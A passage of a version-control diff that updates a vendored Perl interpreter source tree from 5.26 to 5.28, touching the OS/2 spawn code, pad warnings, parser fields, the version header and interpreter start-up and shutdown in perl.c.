 		    Perl_warner(aTHX_ packWARN(WARN_EXEC), "Can't %s script `%s' with ARGV[0] being `%s'", 
 			 ((execf != EXECF_EXEC && execf != EXECF_TRUEEXEC) 
 			  ? "spawn" : "exec"),
-			 real_name, PL_Argv[0]);
+			 real_name, argv[0]);
 		goto warned;
 	  } else if (errno == ENOENT) { /* Cannot transfer `real_name' via shell. */
 		if (rc < 0 && ckWARN(WARN_EXEC))
@@ -1308,16 +1312,16 @@
 		    Perl_warner(aTHX_ packWARN(WARN_EXEC), "Can't %s `%s' with ARGV[0] being `%s' (looking for executables only, not found)", 
 			 ((execf != EXECF_EXEC && execf != EXECF_TRUEEXEC) 
 			  ? "spawn" : "exec"),
-			 real_name, PL_Argv[0]);
+			 real_name, argv[0]);
 		goto warned;
 	  }
 	} else if (rc < 0 && pass == 2 && errno == ENOENT) { /* File not found */
-	    char *no_dir = strrchr(PL_Argv[0], '/');
+	    char *no_dir = strrchr(argv[0], '/');
 
 	    /* Do as pdksh port does: if not found with /, try without
 	       path. */
 	    if (no_dir) {
-		PL_Argv[0] = no_dir + 1;
+		argv[0] = no_dir + 1;
 		pass++;
 		goto retry;
 	    }
@@ -1346,11 +1350,12 @@
 int
 do_spawn3(pTHX_ char *cmd, int execf, int flag)
 {
-    char **a;
+    char **argv, **a;
     char *s;
     char *shell, *copt, *news = NULL;
     int rc, seenspace = 0, mergestderr = 0;
 
+    ENTER;
 #ifdef TRYSHELL
     if ((shell = getenv("EMXSHELL")) != NULL)
     	copt = "-c";
@@ -1372,7 +1377,7 @@
     while (*cmd && isSPACE(*cmd))
 	cmd++;
 
-    if (strEQs(cmd,"/bin/sh") && isSPACE(cmd[7])) {
+    if (strBEGINs(cmd,"/bin/sh") && isSPACE(cmd[7])) {
 	STRLEN l = strlen(PL_sh_path);
 	
 	Newx(news, strlen(cmd) - 7 + l + 1, char);
@@ -1387,7 +1392,7 @@
     if (*cmd == '.' && isSPACE(cmd[1]))
 	goto doshell;
 
-    if (strEQs(cmd,"exec") && isSPACE(cmd[4]))
+    if (strBEGINs(cmd,"exec") && isSPACE(cmd[4]))
 	goto doshell;
 
     for (s = cmd; *s && isALPHA(*s); s++) ;	/* catch VAR=val gizmo */
@@ -1441,7 +1446,7 @@
 	    }
 	    if (news)
 		Safefree(news);
-	    return rc;
+	    goto leave;
 	} else if (*s == ' ' || *s == '\t') {
 	    seenspace = 1;
 	}
@@ -1448,10 +1453,12 @@
     }
 
     /* cmd="a" may lead to "sh", "-c", "\"$@\"", "a", "a.cmd", NULL */
-    Newx(PL_Argv, (s - cmd + 11) / 2, char*);
-    PL_Cmd = savepvn(cmd, s-cmd);
-    a = PL_Argv;
-    for (s = PL_Cmd; *s;) {
+    Newx(argv, (s - cmd + 11) / 2, char*);
+    SAVEFREEPV(argv);
+    cmd = savepvn(cmd, s-cmd);
+    SAVEFREEPV(cmd);
+    a = argv;
+    for (s = cmd; *s;) {
 	while (*s && isSPACE(*s)) s++;
 	if (*s)
 	    *(a++) = s;
@@ -1460,13 +1467,14 @@
 	    *s++ = '\0';
     }
     *a = NULL;
-    if (PL_Argv[0])
-	rc = do_spawn_ve(aTHX_ NULL, flag, execf, cmd, mergestderr);
+    if (argv[0])
+	rc = do_spawn_ve(aTHX_ NULL, argv, flag, execf, cmd, mergestderr);
     else
     	rc = -1;
     if (news)
 	Safefree(news);
-    do_execfree();
+leave:
+    LEAVE;
     return rc;
 }
 
@@ -1480,14 +1488,16 @@
 {
     SV **argp = (SV **)args;
     SV **last = argp + cnt;
-    char **a;
+    char **argv, **a;
     int rc;
     int flag = P_WAIT, flag_set = 0;
     STRLEN n_a;
 
+    ENTER;
     if (cnt) {
-	Newx(PL_Argv, cnt + 3, char*); /* 3 extra to expand #! */
-	a = PL_Argv;
+	Newx(argv, cnt + 3, char*); /* 3 extra to expand #! */
+	SAVEFREEPV(argv);
+	a = argv;
 
 	if (cnt > 1 && SvNIOKp(*argp) && !SvPOKp(*argp)) {
 	    flag = SvIVx(*argp);
@@ -1496,24 +1506,27 @@
 	    --argp;
 
 	while (++argp < last) {
-	    if (*argp)
-		*a++ = SvPVx(*argp, n_a);
-	    else
+	    if (*argp) {
+		char *arg = SvPVx(*argp, n_a);
+		arg = savepv(arg);
+		SAVEFREEPV(arg);
+		*a++ = arg;
+	    } else
 		*a++ = "";
 	}
 	*a = NULL;
 
-	if ( flag_set && (a == PL_Argv + 1)
+	if ( flag_set && (a == argv + 1)
 	     && !really && execing == ASPAWN_WAIT ) { 		/* One arg? */
 	    rc = do_spawn3(aTHX_ a[-1], EXECF_SPAWN_BYFLAG, flag);
 	} else {
 	    const int execf[3] = {EXECF_SPAWN, EXECF_EXEC, EXECF_SPAWN_NOWAIT};
 	    
-	    rc = do_spawn_ve(aTHX_ really, flag, execf[execing], NULL, 0);
+	    rc = do_spawn_ve(aTHX_ really, argv, flag, execf[execing], NULL, 0);
 	}
     } else
     	rc = -1;
-    do_execfree();
+    LEAVE;
     return rc;
 }
 
@@ -4257,7 +4270,8 @@
 	perlio = PerlIO_fdopen(hpipe, buf);
 	ST(0) = sv_newmortal();
 	{
-	    GV *gv = newGVgen("OS2::pipe");
+	    GV *gv = (GV *)sv_newmortal();
+	    gv_init_pvn(gv, gv_stashpvs("OS2::pipe",1),"__ANONIO__",10,0);
 	    if ( do_open6(gv, perltype, strlen(perltype), perlio, NULL, 0) )
 		sv_setsv(ST(0), sv_bless(newRV((SV*)gv), gv_stashpv("IO::Handle",1)));
 	    else
@@ -4959,10 +4973,8 @@
 	    if (PL_sh_path[i] == '\\') PL_sh_path[i] = '/';
 	}
     }
-#if defined(USE_5005THREADS) || defined(USE_ITHREADS)
     MUTEX_INIT(&start_thread_mutex);
     MUTEX_INIT(&perlos2_state_mutex);
-#endif
     os2_mytype = my_type();		/* Do it before morphing.  Needed? */
     os2_mytype_ini = os2_mytype;
     Perl_os2_initial_mode = -1;		/* Uninit */

Modified: vendor/perl/dist/os2/perlrexx.c
===================================================================
--- vendor/perl/dist/os2/perlrexx.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/os2/perlrexx.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -61,7 +61,6 @@
 static int
 init_perl(int doparse)
 {
-    int exitstatus;
     char *argv[3] = {"perl_in_REXX", "-e", ""};
 
     if (!perlos2_is_inited) {
@@ -79,8 +78,7 @@
     }
     if (!doparse)
         return 1;
-    exitstatus = perl_parse(my_perl, xs_init, 3, argv, (char **)NULL);
-    return !exitstatus;
+    return !perl_parse(my_perl, xs_init, 3, argv, (char **)NULL);
 }
 
 static char last_error[4096];
@@ -125,12 +123,10 @@
     memcpy(buf, rargv[0].strptr, rargv[0].strlength);
     buf[rargv[0].strlength] = 0;
     
-    exitstatus = perl_parse(my_perl, xs_init, 3, argv, (char **)NULL);
-    if (!exitstatus) {
-	exitstatus = perl_run(my_perl);
-    }
+    if (!perl_parse(my_perl, xs_init, 3, argv, (char **)NULL))
+	perl_run(my_perl);
 
-    perl_destruct(my_perl);
+    exitstatus = perl_destruct(my_perl);
     perl_free(my_perl);
     my_perl = 0;
 

Modified: vendor/perl/dist/pad.c
===================================================================
--- vendor/perl/dist/pad.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pad.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -66,7 +66,7 @@
 can be looked up from Perl code at run time through eval"" the way
 C<my>/C<our> variables can be.  Since they can't be looked up by "name"
 but only by their index allocated at compile time (which is usually
-in C<PL_op->op_targ>), wasting a name SV for them doesn't make sense.
+in C<< PL_op->op_targ >>), wasting a name SV for them doesn't make sense.
 
 The pad names in the PADNAMELIST have their PV holding the name of
 the variable.  The C<COP_SEQ_RANGE_LOW> and C<_HIGH> fields form a range
@@ -137,7 +137,7 @@
 =for apidoc AmxU|SV **|PL_curpad
 
 Points directly to the body of the L</PL_comppad> array.
-(I.e., this is C<PAD_ARRAY(PL_comppad)>.)
+(I.e., this is C<PadARRAY(PL_comppad)>.)
 
 =cut
 */
@@ -395,9 +395,11 @@
 		if (name && PadnamePV(name) && *PadnamePV(name) == '&')
 		    {
 			CV * const innercv = MUTABLE_CV(curpad[ix]);
-			U32 inner_rc = SvREFCNT(innercv);
+			U32 inner_rc;
+			assert(innercv);
+			assert(SvTYPE(innercv) != SVt_PVFM);
+			inner_rc = SvREFCNT(innercv);
 			assert(inner_rc);
-			assert(SvTYPE(innercv) != SVt_PVFM);
 
 			if (SvREFCNT(comppad) < 2) { /* allow for /(?{ sub{} })/  */
 			    curpad[ix] = NULL;
@@ -857,7 +859,7 @@
 
     assert((flags & ~padadd_OUR) == 0);
 
-    if (PadnamelistMAX(PL_comppad_name) < 0 || !ckWARN(WARN_MISC))
+    if (PadnamelistMAX(PL_comppad_name) < 0 || !ckWARN(WARN_SHADOW))
 	return; /* nothing to check */
 
     svp = PadnamelistARRAY(PL_comppad_name);
@@ -875,7 +877,7 @@
 	    if (is_our && (SvPAD_OUR(sv)))
 		break; /* "our" masking "our" */
 	    /* diag_listed_as: "%s" variable %s masks earlier declaration in same %s */
-	    Perl_warner(aTHX_ packWARN(WARN_MISC),
+	    Perl_warner(aTHX_ packWARN(WARN_SHADOW),
 		"\"%s\" %s %" PNf " masks earlier declaration in same %s",
 		(   is_our                         ? "our"   :
                     PL_parser->in_my == KEY_my     ? "my"    :
@@ -901,10 +903,10 @@
 		&& SvOURSTASH(sv) == ourstash
 		&& memEQ(PadnamePV(sv), PadnamePV(name), PadnameLEN(name)))
 	    {
-		Perl_warner(aTHX_ packWARN(WARN_MISC),
+		Perl_warner(aTHX_ packWARN(WARN_SHADOW),
 		    "\"our\" variable %" PNf " redeclared", PNfARG(sv));
 		if (off <= PL_comppad_name_floor)
-		    Perl_warner(aTHX_ packWARN(WARN_MISC),
+		    Perl_warner(aTHX_ packWARN(WARN_SHADOW),
 			"\t(Did you mean \"local\" instead of \"our\"?)\n");
 		break;
 	    }
@@ -1019,7 +1021,7 @@
 
 Until the lexical C<$_> feature was removed, this function would
 find the position of the lexical C<$_> in the pad of the
-currently-executing function and returns the offset in the current pad,
+currently-executing function and return the offset in the current pad,
 or C<NOT_IN_PAD>.
 
 Now it always returns C<NOT_IN_PAD>.
@@ -2001,7 +2003,7 @@
 		    {
 			/* my sub */
 			/* Just provide a stub, but name it.  It will be
-			   upgrade to the real thing on scope entry. */
+			   upgraded to the real thing on scope entry. */
                         dVAR;
 			U32 hash;
 			PERL_HASH(hash, PadnamePV(namesv)+1,
@@ -2295,7 +2297,10 @@
 		if (CvLEXICAL(cv) || flags & CV_NAME_NOTQUAL)
 		    sv_sethek(retsv, CvNAME_HEK(cv));
 		else {
-		    sv_sethek(retsv, HvNAME_HEK(CvSTASH(cv)));
+		    if (CvSTASH(cv) && HvNAME_HEK(CvSTASH(cv)))
+			sv_sethek(retsv, HvNAME_HEK(CvSTASH(cv)));
+		    else
+			sv_setpvs(retsv, "__ANON__");
 		    sv_catpvs(retsv, "::");
 		    sv_cathek(retsv, CvNAME_HEK(cv));
 		}

Modified: vendor/perl/dist/pad.h
===================================================================
--- vendor/perl/dist/pad.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pad.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -492,9 +492,9 @@
     PL_cop_seqmax		= proto_perl->Icop_seqmax;
 
 /*
-=for apidoc Am|PADOFFSET|pad_add_name_pvs|const char *name|U32 flags|HV *typestash|HV *ourstash
+=for apidoc Am|PADOFFSET|pad_add_name_pvs|"literal string" name|U32 flags|HV *typestash|HV *ourstash
 
-Exactly like L</pad_add_name_pvn>, but takes a C<NUL>-terminated literal string
+Exactly like L</pad_add_name_pvn>, but takes a literal string
 instead of a string/length pair.
 
 =cut
@@ -504,9 +504,9 @@
     Perl_pad_add_name_pvn(aTHX_ STR_WITH_LEN(name), flags, typestash, ourstash)
 
 /*
-=for apidoc Am|PADOFFSET|pad_findmy_pvs|const char *name|U32 flags
+=for apidoc Am|PADOFFSET|pad_findmy_pvs|"literal string" name|U32 flags
 
-Exactly like L</pad_findmy_pvn>, but takes a C<NUL>-terminated literal string
+Exactly like L</pad_findmy_pvn>, but takes a literal string
 instead of a string/length pair.
 
 =cut

Modified: vendor/perl/dist/parser.h
===================================================================
--- vendor/perl/dist/parser.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/parser.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -58,6 +58,7 @@
 				   1 = @{...}  2 = ->@ */
     U8		expect;		/* how to interpret ambiguous tokens */
     bool	preambled;
+    bool        sub_no_recover; /* can't recover from a sublex error */
     I32		lex_formbrack;	/* bracket count at outer format level */
     OP		*lex_inpat;	/* in pattern $) and $| are special */
     OP		*lex_op;	/* extra info to pass back on op */
@@ -95,6 +96,7 @@
     U16		in_my;		/* we're compiling a "my"/"our" declaration */
     U8		lex_state;	/* next token is determined */
     U8		error_count;	/* how many compile errors so far, max 10 */
+    U8		sub_error_count; /* the number of errors before sublexing */
     HV		*in_my_stash;	/* declared class of this "my" declaration */
     PerlIO	*rsfp;		/* current source file pointer */
     AV		*rsfp_filters;	/* holds chain of active source filters */
@@ -110,6 +112,7 @@
     line_t	herelines;	/* number of lines in here-doc */
     line_t	preambling;	/* line # when processing $ENV{PERL5DB} */
 
+    bool        sig_seen;       /* the currently parsing sub has a signature */
     /* these are valid while parsing a subroutine signature */
     IV          sig_elems;      /* number of signature elements seen so far */
     IV          sig_optelems;   /* number of optional signature elems seen */

Modified: vendor/perl/dist/patchlevel.h
===================================================================
--- vendor/perl/dist/patchlevel.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/patchlevel.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
  * exactly on the third column */
 
 #define PERL_REVISION	5		/* age */
-#define PERL_VERSION	26		/* epoch */
+#define PERL_VERSION	28		/* epoch */
 #define PERL_SUBVERSION	0		/* generation */
 
 /* The following numbers describe the earliest compatible version of
@@ -35,7 +35,7 @@
    changing them should not be necessary.
 */
 #define PERL_API_REVISION	5
-#define PERL_API_VERSION	26
+#define PERL_API_VERSION	28
 #define PERL_API_SUBVERSION	0
 /*
    XXX Note:  The selection of non-default Configure options, such

Modified: vendor/perl/dist/perl.c
===================================================================
--- vendor/perl/dist/perl.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/perl.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
  *
  *    Copyright (C) 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001
  *    2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012
- *    2013, 2014, 2015, 2016, 2017 by Larry Wall and others
+ *    2013, 2014, 2015, 2016, 2017, 2018 by Larry Wall and others
  *
  *    You may distribute under the terms of either the GNU General Public
  *    License or the Artistic License, as specified in the README file.
@@ -62,10 +62,6 @@
 #  endif
 #endif
 
-#if !defined(STANDARD_C) && !defined(HAS_GETENV_PROTOTYPE) && !defined(PERL_MICRO)
-char *getenv (char *); /* Usually in <stdlib.h> */
-#endif
-
 static I32 read_e_script(pTHX_ int idx, SV *buf_sv, int maxlen);
 
 #ifdef SETUID_SCRIPTS_ARE_SECURE_NOW
@@ -96,6 +92,7 @@
 	PERL_SET_THX(my_perl);
 	OP_REFCNT_INIT;
 	OP_CHECK_MUTEX_INIT;
+        KEYWORD_PLUGIN_MUTEX_INIT;
 	HINTS_REFCNT_INIT;
         LOCALE_INIT;
 	MUTEX_INIT(&PL_dollarzero_mutex);
@@ -273,6 +270,26 @@
 
     init_stacks();
 
+/* The PERL_INTERNAL_RAND_SEED set-up must be after init_stacks because it calls
+ * things that may put SVs on the stack.
+ */
+
+#ifdef NO_PERL_INTERNAL_RAND_SEED
+    Perl_drand48_init_r(&PL_internal_random_state, seed());
+#else
+    {
+        UV seed;
+        const char *env_pv;
+        if (PerlProc_getuid() != PerlProc_geteuid() ||
+            PerlProc_getgid() != PerlProc_getegid() ||
+            !(env_pv = PerlEnv_getenv("PERL_INTERNAL_RAND_SEED")) ||
+            grok_number(env_pv, strlen(env_pv), &seed) != IS_NUMBER_IN_UV) {
+            seed = seed();
+        }
+        Perl_drand48_init_r(&PL_internal_random_state, (U32)seed);
+    }
+#endif
+
     init_ids();
 
     S_fixup_platform_bugs();
@@ -280,12 +297,20 @@
     JMPENV_BOOTSTRAP;
     STATUS_ALL_SUCCESS;
 
-    init_i18nl10n(1);
+    init_uniprops();
 
 #if defined(LOCAL_PATCH_COUNT)
     PL_localpatches = local_patches;	/* For possible -v */
 #endif
 
+#if defined(LIBM_LIB_VERSION)
+    /*
+     * Some BSDs and Cygwin default to POSIX math instead of IEEE.
+     * This switches them over to IEEE.
+     */
+    _LIB_VERSION = _IEEE_;
+#endif
+
 #ifdef HAVE_INTERP_INTERN
     sys_intern_init();
 #endif
@@ -308,27 +333,59 @@
 #ifdef USE_REENTRANT_API
     Perl_reentrant_init(aTHX);
 #endif
-#if defined(USE_HASH_SEED) || defined(USE_HASH_SEED_EXPLICIT)
-        /* [perl #22371] Algorimic Complexity Attack on Perl 5.6.1, 5.8.0
-         * This MUST be done before any hash stores or fetches take place.
-         * If you set PL_hash_seed (and presumably also PL_hash_seed_set)
-         * yourself, it is your responsibility to provide a good random seed!
-         * You can also define PERL_HASH_SEED in compile time, see hv.h.
+    if (PL_hash_seed_set == FALSE) {
+        /* Initialize the hash seed and state at startup. This must be
+         * done very early, before ANY hashes are constructed, and once
+         * setup is fixed for the lifetime of the process.
          *
-         * XXX: fix this comment */
-    if (PL_hash_seed_set == FALSE) {
+         * If you decide to disable the seeding process you should choose
+         * a suitable seed yourself and define PERL_HASH_SEED to a well chosen
+         * string. See hv_func.h for details.
+         */
+#if defined(USE_HASH_SEED)
+        /* get the hash seed from the environment or from an RNG */
         Perl_get_hash_seed(aTHX_ PL_hash_seed);
+#else
+        /* they want a hard coded seed, check that it is long enough */
+        assert( strlen(PERL_HASH_SEED) >= PERL_HASH_SEED_BYTES );
+#endif
+
+        /* now we use the chosen seed to initialize the state -
+         * in some configurations this may be a relatively speaking
+         * expensive operation, but we only have to do it once at startup */
+        PERL_HASH_SEED_STATE(PERL_HASH_SEED,PL_hash_state);
+
+#ifdef PERL_USE_SINGLE_CHAR_HASH_CACHE
+        /* we can build a special cache for 0/1 byte keys, if people choose
+         * I suspect most of the time it is not worth it */
+        {
+            char str[2]="\0";
+            int i;
+            for (i=0;i<256;i++) {
+                str[0]= i;
+                PERL_HASH_WITH_STATE(PL_hash_state,PL_hash_chars[i],str,1);
+            }
+            PERL_HASH_WITH_STATE(PL_hash_state,PL_hash_chars[256],str,0);
+        }
+#endif
+        /* at this point we have initialezed the hash function, and we can start
+         * constructing hashes */
         PL_hash_seed_set= TRUE;
     }
-#endif /* #if defined(USE_HASH_SEED) || defined(USE_HASH_SEED_EXPLICIT) */
 
-    /* Note that strtab is a rather special HV.  Assumptions are made
-       about not iterating on it, and not adding tie magic to it.
-       It is properly deallocated in perl_destruct() */
-    PL_strtab = newHV();
+    /* Allow PL_strtab to be pre-initialized before calling perl_construct.
+    * can use a custom optimized PL_strtab hash before calling perl_construct */
+    if (!PL_strtab) {
+        /* Note that strtab is a rather special HV.  Assumptions are made
+           about not iterating on it, and not adding tie magic to it.
+           It is properly deallocated in perl_destruct() */
+        PL_strtab = newHV();
 
-    HvSHAREKEYS_off(PL_strtab);			/* mandatory */
-    hv_ksplit(PL_strtab, 512);
+        /* SHAREKEYS tells us that the hash has its keys shared with PL_strtab,
+         * which is not the case with PL_strtab itself */
+        HvSHAREKEYS_off(PL_strtab);			/* mandatory */
+        hv_ksplit(PL_strtab, 1 << 11);
+    }
 
     Zero(PL_sv_consts, SV_CONSTS_COUNT, SV*);
 
@@ -363,23 +420,14 @@
 	PL_mmap_page_size = sysconf(_SC_MMAP_PAGE_SIZE);
 #   endif
 	if ((long) PL_mmap_page_size < 0) {
-	  if (errno) {
-	    SV * const error = ERRSV;
-	    SvUPGRADE(error, SVt_PV);
-	    Perl_croak(aTHX_ "panic: sysconf: %s", SvPV_nolen_const(error));
-	  }
-	  else
-	    Perl_croak(aTHX_ "panic: sysconf: pagesize unknown");
+	    Perl_croak(aTHX_ "panic: sysconf: %s",
+		errno ? Strerror(errno) : "pagesize unknown");
 	}
       }
-#else
-#   ifdef HAS_GETPAGESIZE
+#elif defined(HAS_GETPAGESIZE)
       PL_mmap_page_size = getpagesize();
-#   else
-#       if defined(I_SYS_PARAM) && defined(PAGESIZE)
+#elif defined(I_SYS_PARAM) && defined(PAGESIZE)
       PL_mmap_page_size = PAGESIZE;       /* compiletime, bad */
-#       endif
-#   endif
 #endif
       if (PL_mmap_page_size <= 0)
 	Perl_croak(aTHX_ "panic: bad pagesize %" IVdf,
@@ -400,32 +448,12 @@
     /* Start with 1 bucket, for DFS.  It's unlikely we'll need more.  */
     HvMAX(PL_registered_mros) = 0;
 
-    PL_XPosix_ptrs[_CC_ASCII] = _new_invlist_C_array(ASCII_invlist);
-    PL_XPosix_ptrs[_CC_ALPHANUMERIC] = _new_invlist_C_array(XPosixAlnum_invlist);
-    PL_XPosix_ptrs[_CC_ALPHA] = _new_invlist_C_array(XPosixAlpha_invlist);
-    PL_XPosix_ptrs[_CC_BLANK] = _new_invlist_C_array(XPosixBlank_invlist);
-    PL_XPosix_ptrs[_CC_CASED] =  _new_invlist_C_array(Cased_invlist);
-    PL_XPosix_ptrs[_CC_CNTRL] = _new_invlist_C_array(XPosixCntrl_invlist);
-    PL_XPosix_ptrs[_CC_DIGIT] = _new_invlist_C_array(XPosixDigit_invlist);
-    PL_XPosix_ptrs[_CC_GRAPH] = _new_invlist_C_array(XPosixGraph_invlist);
-    PL_XPosix_ptrs[_CC_LOWER] = _new_invlist_C_array(XPosixLower_invlist);
-    PL_XPosix_ptrs[_CC_PRINT] = _new_invlist_C_array(XPosixPrint_invlist);
-    PL_XPosix_ptrs[_CC_PUNCT] = _new_invlist_C_array(XPosixPunct_invlist);
-    PL_XPosix_ptrs[_CC_SPACE] = _new_invlist_C_array(XPerlSpace_invlist);
-    PL_XPosix_ptrs[_CC_UPPER] = _new_invlist_C_array(XPosixUpper_invlist);
-    PL_XPosix_ptrs[_CC_VERTSPACE] = _new_invlist_C_array(VertSpace_invlist);
-    PL_XPosix_ptrs[_CC_WORDCHAR] = _new_invlist_C_array(XPosixWord_invlist);
-    PL_XPosix_ptrs[_CC_XDIGIT] = _new_invlist_C_array(XPosixXDigit_invlist);
-    PL_GCB_invlist = _new_invlist_C_array(_Perl_GCB_invlist);
-    PL_SB_invlist = _new_invlist_C_array(_Perl_SB_invlist);
-    PL_WB_invlist = _new_invlist_C_array(_Perl_WB_invlist);
-    PL_LB_invlist = _new_invlist_C_array(_Perl_LB_invlist);
-    PL_Assigned_invlist = _new_invlist_C_array(Assigned_invlist);
-#ifdef USE_THREAD_SAFE_LOCALE
+#ifdef USE_POSIX_2008_LOCALE
     PL_C_locale_obj = newlocale(LC_ALL_MASK, "C", NULL);
 #endif
 
     ENTER;
+    init_i18nl10n(1);
 }
 
 /*
@@ -545,10 +573,34 @@
 #endif
 
 /*
-=for apidoc perl_destruct
+=for apidoc Am|int|perl_destruct|PerlInterpreter *my_perl
 
-Shuts down a Perl interpreter.  See L<perlembed>.
+Shuts down a Perl interpreter.  See L<perlembed> for a tutorial.
 
+C<my_perl> points to the Perl interpreter.  It must have been previously
+created through the use of L</perl_alloc> and L</perl_construct>.  It may
+have been initialised through L</perl_parse>, and may have been used
+through L</perl_run> and other means.  This function should be called for
+any Perl interpreter that has been constructed with L</perl_construct>,
+even if subsequent operations on it failed, for example if L</perl_parse>
+returned a non-zero value.
+
+If the interpreter's C<PL_exit_flags> word has the
+C<PERL_EXIT_DESTRUCT_END> flag set, then this function will execute code
+in C<END> blocks before performing the rest of destruction.  If it is
+desired to make any use of the interpreter between L</perl_parse> and
+L</perl_destruct> other than just calling L</perl_run>, then this flag
+should be set early on.  This matters if L</perl_run> will not be called,
+or if anything else will be done in addition to calling L</perl_run>.
+
+Returns a value be a suitable value to pass to the C library function
+C<exit> (or to return from C<main>), to serve as an exit code indicating
+the nature of the way the interpreter terminated.  This takes into account
+any failure of L</perl_parse> and any early exit from L</perl_run>.
+The exit code is of the type required by the host operating system,
+so because of differing exit code conventions it is not portable to
+interpret specific numeric values as having specific meanings.
+
 =cut
 */
 
@@ -556,7 +608,7 @@
 perl_destruct(pTHXx)
 {
     dVAR;
-    VOL signed char destruct_level;  /* see possible values in intrpvar.h */
+    volatile signed char destruct_level;  /* see possible values in intrpvar.h */
     HV *hv;
 #ifdef DEBUG_LEAKING_SCALARS_FORK_DUMP
     pid_t child;
@@ -623,7 +675,7 @@
         if (*stdo && PerlIO_flush(stdo)) {
             PerlIO_restore_errno(stdo);
             if (errno)
-                PerlIO_printf(PerlIO_stderr(), "Unable to flush stdout: %s",
+                PerlIO_printf(PerlIO_stderr(), "Unable to flush stdout: %s\n",
                     Strerror(errno));
             if (!STATUS_UNIX)
                 STATUS_ALL_FAILURE;
@@ -670,7 +722,7 @@
 	   fail gracefully  */
 	int fd[2];
 
-	if(socketpair(AF_UNIX, SOCK_STREAM, 0, fd)) {
+	if(PerlSock_socketpair_cloexec(AF_UNIX, SOCK_STREAM, 0, fd)) {
 	    perror("Debug leaking scalars socketpair failed");
 	    abort();
 	}
@@ -769,7 +821,7 @@
 		   back into Perl_debug_log, as if we never actually closed it
 		*/
 		if(got_fd != debug_fd) {
-		    if (dup2(got_fd, debug_fd) == -1) {
+		    if (PerlLIO_dup2_cloexec(got_fd, debug_fd) == -1) {
 			where = "dup2";
 			goto abort;
 		    }
@@ -1072,7 +1124,30 @@
     Safefree(PL_collation_name);
     PL_collation_name = NULL;
 #endif
-
+#if   defined(USE_POSIX_2008_LOCALE)      \
+ &&   defined(USE_THREAD_SAFE_LOCALE)     \
+ && ! defined(HAS_QUERYLOCALE)
+    for (i = 0; i < (int) C_ARRAY_LENGTH(PL_curlocales); i++) {
+        Safefree(PL_curlocales[i]);
+        PL_curlocales[i] = NULL;
+    }
+#endif
+#ifdef HAS_POSIX_2008_LOCALE
+    {
+        /* This also makes sure we aren't using a locale object that gets freed
+         * below */
+        const locale_t old_locale = uselocale(LC_GLOBAL_LOCALE);
+        if (old_locale != LC_GLOBAL_LOCALE) {
+            freelocale(old_locale);
+        }
+    }
+#  ifdef USE_LOCALE_NUMERIC
+    if (PL_underlying_numeric_obj) {
+        freelocale(PL_underlying_numeric_obj);
+        PL_underlying_numeric_obj = (locale_t) NULL;
+    }
+#  endif
+#endif
 #ifdef USE_LOCALE_NUMERIC
     Safefree(PL_numeric_name);
     PL_numeric_name = NULL;
@@ -1080,55 +1155,27 @@
     PL_numeric_radix_sv = NULL;
 #endif
 
+    if (PL_setlocale_buf) {
+        Safefree(PL_setlocale_buf);
+        PL_setlocale_buf = NULL;
+    }
+
+    if (PL_langinfo_buf) {
+        Safefree(PL_langinfo_buf);
+        PL_langinfo_buf = NULL;
+    }
+
     /* clear character classes  */
-    for (i = 0; i < POSIX_SWASH_COUNT; i++) {
-        SvREFCNT_dec(PL_utf8_swash_ptrs[i]);
-        PL_utf8_swash_ptrs[i] = NULL;
-    }
     SvREFCNT_dec(PL_utf8_mark);
-    SvREFCNT_dec(PL_utf8_toupper);
-    SvREFCNT_dec(PL_utf8_totitle);
-    SvREFCNT_dec(PL_utf8_tolower);
-    SvREFCNT_dec(PL_utf8_tofold);
-    SvREFCNT_dec(PL_utf8_idstart);
-    SvREFCNT_dec(PL_utf8_idcont);
-    SvREFCNT_dec(PL_utf8_foldable);
-    SvREFCNT_dec(PL_utf8_foldclosures);
-    SvREFCNT_dec(PL_AboveLatin1);
     SvREFCNT_dec(PL_InBitmap);
-    SvREFCNT_dec(PL_UpperLatin1);
-    SvREFCNT_dec(PL_Latin1);
-    SvREFCNT_dec(PL_NonL1NonFinalFold);
-    SvREFCNT_dec(PL_HasMultiCharFold);
 #ifdef USE_LOCALE_CTYPE
     SvREFCNT_dec(PL_warn_locale);
 #endif
     PL_utf8_mark	= NULL;
-    PL_utf8_toupper	= NULL;
-    PL_utf8_totitle	= NULL;
-    PL_utf8_tolower	= NULL;
-    PL_utf8_tofold	= NULL;
-    PL_utf8_idstart	= NULL;
-    PL_utf8_idcont	= NULL;
-    PL_utf8_foldclosures = NULL;
-    PL_AboveLatin1       = NULL;
     PL_InBitmap          = NULL;
-    PL_HasMultiCharFold  = NULL;
 #ifdef USE_LOCALE_CTYPE
     PL_warn_locale       = NULL;
 #endif
-    PL_Latin1            = NULL;
-    PL_NonL1NonFinalFold = NULL;
-    PL_UpperLatin1       = NULL;
-    for (i = 0; i < POSIX_CC_COUNT; i++) {
-        SvREFCNT_dec(PL_XPosix_ptrs[i]);
-        PL_XPosix_ptrs[i] = NULL;
-    }
-    PL_GCB_invlist = NULL;
-    PL_LB_invlist = NULL;
-    PL_SB_invlist = NULL;
-    PL_WB_invlist = NULL;
-    PL_Assigned_invlist = NULL;
 
     if (!specialWARN(PL_compiling.cop_warnings))
 	PerlMemShared_free(PL_compiling.cop_warnings);
@@ -1260,6 +1307,11 @@
     SvANY(&PL_sv_no) = NULL;
     SvFLAGS(&PL_sv_no) = 0;
 
+    SvREFCNT(&PL_sv_zero) = 0;
+    sv_clear(&PL_sv_zero);
+    SvANY(&PL_sv_zero) = NULL;
+    SvFLAGS(&PL_sv_zero) = 0;
+
     {
         int i;
         for (i=0; i<=2; i++) {
@@ -1512,10 +1564,62 @@
 }
 
 /*
-=for apidoc perl_parse
